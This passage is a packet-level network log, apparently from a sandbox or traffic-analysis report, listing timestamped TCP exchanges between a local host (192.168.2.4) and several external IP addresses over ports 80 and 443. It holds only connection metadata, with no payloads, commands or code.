Aug 30, 2024 03:17:06.597368956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597381115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.597390890 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.597390890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597408056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.597426891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.597445965 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.597456932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.597465992 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.597491026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.597497940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.597512960 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597524881 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597534895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597554922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597579002 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597592115 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597603083 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597611904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597635031 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597657919 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597686052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597697020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597707987 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597718954 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597728014 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597728968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597740889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597754955 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597764969 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597790956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597794056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597811937 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597822905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597826958 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597835064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597841024 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597860098 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597879887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597992897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598002911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598012924 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598023891 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598031044 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598037004 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598040104 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598050117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598062038 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598067999 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598073959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598087072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598090887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598098040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598109007 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598112106 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598124981 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598154068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598233938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.598246098 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.598261118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.598270893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.598273993 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.598295927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.598309994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.598309994 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.598324060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.598332882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.598335981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598357916 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.598373890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598412991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598424911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598434925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598447084 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598450899 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598458052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598459959 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598478079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598479986 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598490000 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598504066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598530054 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598675966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598686934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598696947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598707914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598711967 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598720074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598730087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598732948 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598742008 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598752975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598758936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598764896 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598764896 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598776102 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598788023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598793030 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598805904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598819017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.598819017 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598828077 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.598855019 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599030018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599040985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599051952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599062920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599072933 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599073887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599083900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599093914 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599095106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599118948 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599119902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599123955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599136114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599143982 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599145889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599158049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599168062 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599169016 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599180937 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599190950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599190950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599200010 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599204063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599215984 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599226952 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599232912 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599237919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599251032 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599255085 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599266052 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599268913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599282026 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599291086 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599293947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599307060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599313021 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599318981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599328995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.599338055 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599364042 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.599461079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599565983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599571943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599577904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599594116 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599603891 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599617004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599627972 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599636078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599642992 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599648952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599668026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599689960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599761009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599772930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599783897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599805117 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599828959 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599848986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599860907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599877119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599888086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599894047 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599900961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.599915981 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.599936962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.608664036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.608706951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.608764887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.639014959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639036894 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639156103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639156103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639166117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639175892 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639187098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639215946 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639225960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639235973 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639239073 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639246941 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639283895 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639317036 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639327049 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639338017 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639348984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639359951 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639377117 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639396906 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639415979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639426947 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639436960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639446974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.639458895 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.639481068 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.640769005 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.640836954 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.645761013 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.645767927 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.645992994 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.646147966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.646157980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.646214008 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.646214962 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.647084951 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.674128056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674139977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674150944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674202919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674216032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674305916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.674305916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.674305916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.674499035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674706936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674741030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674751997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674757957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.674773932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674773932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.674784899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.674802065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.674813032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.675554037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.675610065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.675621986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.675642967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.675659895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.675672054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.676146030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.676178932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.676191092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.676228046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.676244974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.676255941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.676282883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.677015066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.677063942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.678235054 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678281069 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678292036 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678320885 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678332090 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678339005 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678342104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678363085 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678381920 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678417921 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678431034 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678452969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678463936 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678474903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678486109 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678488970 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678514004 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678528070 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678549051 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678560019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678570032 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678592920 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678627014 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678637981 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678648949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678670883 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678683043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678683043 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678711891 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678741932 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678776026 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678786039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678796053 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678807020 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678809881 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678828955 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678834915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678845882 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678858995 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678883076 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678888083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678894997 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678926945 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678947926 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.678951979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678961992 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.678992987 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679017067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679029942 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679040909 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679053068 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679064035 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679079056 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679095030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679106951 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679122925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679146051 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679146051 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679157972 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679168940 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679171085 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679188967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679194927 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679199934 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679220915 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679239988 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679379940 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679419041 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679440975 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679452896 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679478884 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679480076 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679490089 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679522038 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679532051 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679533958 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679557085 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679565907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679577112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679584026 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679600954 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679604053 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679614067 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679642916 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679646969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679656982 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679688931 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679689884 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679706097 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679717064 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679727077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679747105 CEST	49735	80	192.168.2.4	31.41.244.9
